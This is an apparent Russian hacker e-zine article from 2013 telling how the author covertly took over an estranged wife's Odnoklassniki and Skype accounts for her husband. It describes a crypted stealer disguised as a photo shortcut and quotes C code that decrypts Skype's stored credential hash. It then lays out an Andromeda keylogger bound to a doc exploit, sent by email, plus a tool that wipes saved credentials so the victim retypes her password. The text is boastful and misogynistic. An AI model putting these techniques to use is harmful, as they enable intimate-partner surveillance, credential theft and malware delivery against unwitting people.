История одного взлома


- Надо написать статейку...
- Ну напиши: "Жили были дед и бабка..."
- Нееее. Надо про хакеров.
- Ну напиши: "Жили были дед и бабка, и были они хакерами..."

Поехали.
Сегодня будем говорить про взломы.
Расскажу я, пожалуй, вам одну из своих историй. Итак, обратился ко мне знакомый с просьбой. Мялся, крутился, но в итоге рассказал как есть. В общем, дядька в небольшом возрасте нашел молодую жену. Был счастлив и светел, и думал, что только смерть разлучит их. Однако. В один момент жена из заечки превратилась в суку. И довольно зубатую... И вместо обещанных детей и сладкой жизни - собрала шмотки и уехала к маме, попутно подав на развод с требованием половины имущества...

Дядько ловит инфаркт... Ну и после инфаркта едет ко мне. Говорит что-то не ладно. Должно быть объяснение. Давай посмотрим чего она постоянно в одноклассниках зависает. Омг. Опять одноклассники... Гребаные социальные развратники. Ну да ладно. Помогать человеку нужно. Начинаем подготовку.

Объясняю дядьке все варианты, как и что можно сделать. А что мы могли сделать-то? Теоретически - можно было попытаться запулить ей кейлогер или стиллер. Но под каким видом? С другой стороны, можно было попробовать ретривнуть пасс на мыло. А доступ к мылу попробовать получить через секретный вопрос. Дяденька-то жену любил и знал все ее привычки. Но у двух этих методов был один огромный минус. Благоверная в идеале не должна была ничего узнать о том, что ее поимели. И сделать нужно было все скрыто. Значит ретрив отметался. Оставалось стиллером попытаться утянуть пасс. Любимая-то оперу всю жизнь юзала...

Был подготовлен и закриптован билд классического UFR Stealer. Билд вручен дяденьке на флэшке. Билд положен в отдельную папку, а ярлык создан в папку с фотограциями. Ессно, у ярлыка была иконка jpg картинки из системной библиотеки. И имя !ima3684. Восклицательный - что бы в списке это был первый файл. Теоретически дяденька должен был попасть к благоверной и отдать ей какие-то семейные фотографии (сентиментальная сучка оказалась...). Но как всегда - случай - дело великое. Дяденька вдруг вспомнил, что жена заходила в сеть пока его небыло с его бука. УРА. Запускаем стиллер на буке, и вот он. Долгожданный пасс. Естественно в сохраненных. Или дядька лох и просто не мог посмотреть, или земля квадратная... Ну да ладно. Оставляю счастливого недохакера читать переписку и ухожу домой...

Через три-четыре дня звонок. Второй инфаркт... Звонок из палаты. Полный ПЭ. Рога с 5-6 ветвлениями, разод и кидок на бабки был спонтанным предложением текущего ебаря. Дядьку жалко. Нормальный мужик... Ну да ладно. Спрашиваю: "че нужно-то еще?" Говорит, что читал. Много читал. Пил валерьянки еще больше. Зря коньяк не пил. Валерьянка не помогала... Нужен скайп. В скайпе основная переписка с тем, кто все продумывал. Ну скайп так скайп.

Гуглим/читаем... Плохо дело. Очень плохо. Скайп - это вам не аська и не опера. Оказывается, в скайпе все несколько хуже в плане увода доступа. Дело в том, что скайп не хранит сам пароль ни в открытом, ни в хэшированном виде. Вернее хранит, но есть беда. Сам пароль каким-то магическим способом смешивается с ID системы (вероятнее всего винта), затем из полученного собирается свой непонятный хэш, и вот эта байда сохраняется в системе.
Читаем http://www.skypetips.ru/skype_profile.htm
Проверяем... профит. Лежит вся эта солянка в файле "c:\Documents and Settings\user_name\Application Data\Skype\shared.xml", а хэш хранится в "c:\Documents and Settings\user_name\Application Data\Skype\login_skype\config.xml".
Только кое-кто ошибся малость. В этом я убедился, найдя вот этот видос:
http://www.youtube.com/watch?v=5Z-0x75f1ec

‹Credentials3›8AA7F687754705A7080A9FA13184D8D5A.........‹/Credentials3›

Вот эта строчка нас и интересует.
Изначально мой взгляд был привлечен вот этой статьей:
http://habrahabr.ru/qa/20561/

[цитата]
Знаю, что хеш строится так:

unsigned long MD5_Skype_Password (const char *username, const char *password, unsigned char *hash128)
{
MD5_state skyper = MD5_INIT;
 
MD5_update (&skyper, username, (u32) strlen (username));
MD5_update (&skyper, "nskypern", 8);
MD5_update (&skyper, password, (u32) strlen (password));
MD5_end (&skyper);
memcpy (hash128, skyper.hash, 16);
return 16;
}


[/цитата]

Но что-то не складывалось. Загуглив далее - обнаружил вот что:


[цитата]
To extract the Credentials ciphertext, you could read the contents of config.xml and scan for ‹Credentials3› and ‹/Credentials3› Here, I’m using LibXML

bool GetCredentials(BYTE ciphertext[], std::string config_xml) {    
    bool bFound = false;
 
    // try open config.xml
    xmlTextReaderPtr reader;
    reader = xmlReaderForFile(config_xml.c_str(), NULL, 0);
 
    // tested with Credentials2 or Credentials3
    const xmlChar *credentials; 
    credentials = (const xmlChar*)"Credentials";
 
    if (reader != NULL) {
 
      // while nodes are available
      while (xmlTextReaderRead(reader) == 1) {
        // get name
        const xmlChar *name;
        name = xmlTextReaderConstName(reader);
        if (name == NULL) continue;
 
        // equal to credentials we're searching for?
        if (xmlStrncmp(credentials, name, xmlStrlen(credentials)) == 0) {
 
          // read the next value
          if (xmlTextReaderRead(reader) == 1) {
            const xmlChar *value;
            value = xmlTextReaderConstValue(reader);
 
            for (int i = 0;i < 16;i++) {
              sscanf((const char*)&value, "%02x", &ciphertext);
            }
            bFound = true;
            break;
          }
        }
      }
      xmlFreeTextReader(reader);
    }
    xmlCleanupParser();
    return bFound;
}


Obtain the salt which is passed to SHA-1 before being used to create AES key.

PBYTE GetSalt(DWORD &cbSalt) {
    BYTE aBlob[2048];
    DWORD cbSize = sizeof(aBlob);
    const char skype_path[] = "Software\Skype\ProtectedStorage";
 
    LSTATUS lStatus = SHGetValue(HKEY_CURRENT_USER, skype_path, 
        "0", 0, aBlob, &cbSize);
 
    if (lStatus != ERROR_SUCCESS) {
      printf("  Unable to open skype key : %08x", lStatus);
      return NULL;
    }
 
    DATA_BLOB in, out;
 
    in.pbData = aBlob;
    in.cbData = cbSize;
 
    if (CryptUnprotectData(&in, NULL, NULL, NULL, 
        NULL, 0, &out)) {
      cbSalt = out.cbData;
      return out.pbData;
    } else {
      printf("  Unable to decrypt skype entry.");
    }
    return NULL;
}


Then with both the ciphertext and salt, we can decrypt MD5 hash…

void DecryptHash(PBYTE pbCipherText, PBYTE pbSalt, DWORD cbSalt) {
 
    SHA_CTX ctx;
    AES_KEY key;
 
    u_int8_t dgst[40], buffer[AES_BLOCK_SIZE];
 
    memset(&buffer, 0, sizeof(buffer));
 
    // use counter mode + SHA-1 to generate key
    for (ULONG i = 0;i < 2;i++) {
      ULONG ulIndex = _byteswap_ulong(i);
 
      SHA1_Init(&ctx);
      SHA1_Update(&ctx, &ulIndex, sizeof(ulIndex));
      SHA1_Update(&ctx, pbSalt, cbSalt);
      SHA1_Final(&dgst[i*20], &ctx);
    }
 
    AES_set_encrypt_key(dgst, 256, &key);
    AES_encrypt(buffer, buffer, &key);
 
    printf("n  MD5 hash = ");
 
    // decrypt MD5 hash with XOR
    for (int i = 0;i < 16;i++) {
      printf("%02x", pbCipherText ^ buffer);
    }
    printf("n");
}


[/цитата]

Тут была предпринята попытка расшифровать собственный пароль. Открыл свой конфиг, выдрал строчку... Крутил-вертел. Не выходит изначальная комбинация. Что только не пробовал. Варианты комбинаций, менял местами, брутил... Эффекта не было. Что-то или у меня с руками, или алгоритм был с тех пор изменен. Долгое гугление не помогло. Строка не поддается расшифровке (я бы хотел обсудить указанные мной ссылки и материалы. Может моего кодер-скилла оказалось мало или накосячил где. Хотелось бы в финале получить утилиту, способную делать рекавери пассворда. Но времени было не много и нужно было двигаться дальше). Что же делать-то....

А делать вот что. Берем андромеду, криптуем, добавляем плаг кейлогера. В кейлогере задаем процесс skype.exe.
Делаем отдельно маааленький бинарник, который рекурсивно ищет в "Documents and Settings" все файлы config.xml, и если в нем есть строка, начинающаяся на ‹Credentials - то данные в ней очищались. Криптуем и ставим как задание в андромеде. Далее - за определенную сумму денег склеиваем нашу андромеду с doc файлом. Продавец гарантировал работу на ограниченном количестве версий офиса... Отправляем почтой, надеемся, ждем... профит.

Давайте объясню, что получается:

  • изменение либо удаление значения строки ‹Credentials3› не вызывает ошибки, но заставляет пользователя заново ввести пароль. У скайпа это бывает регулярно. Так что мало кто заморачивается над причиной очередной просьбы скайпа ввести пасс.
  • вводимый пасс перехватывается кейлогером и отправляется нам в админку.
  • хистори скайп хранит на серваке. И получив доступ к аккаунту можно запросто прочитать хистори.
  • пароль, опять же, не был изменен, и жертва ничего не узнала.

Отдаю пасс. Требую свою бутылку коньяка... Оставляю человека погруженным в свои мысли...

Что добавить. Повезло, знали векторы атаки, имели инструмен под рукой, не женитесь пацаны...


В каждой красивой девушке,
В каждой застенчивой лапочке,
Могут быть где-то запрятаны
Блядские гены пробабушки...

p.s. коньяк до сих пор жду...


______________________________
Ar3s
2013

Inception E-Zine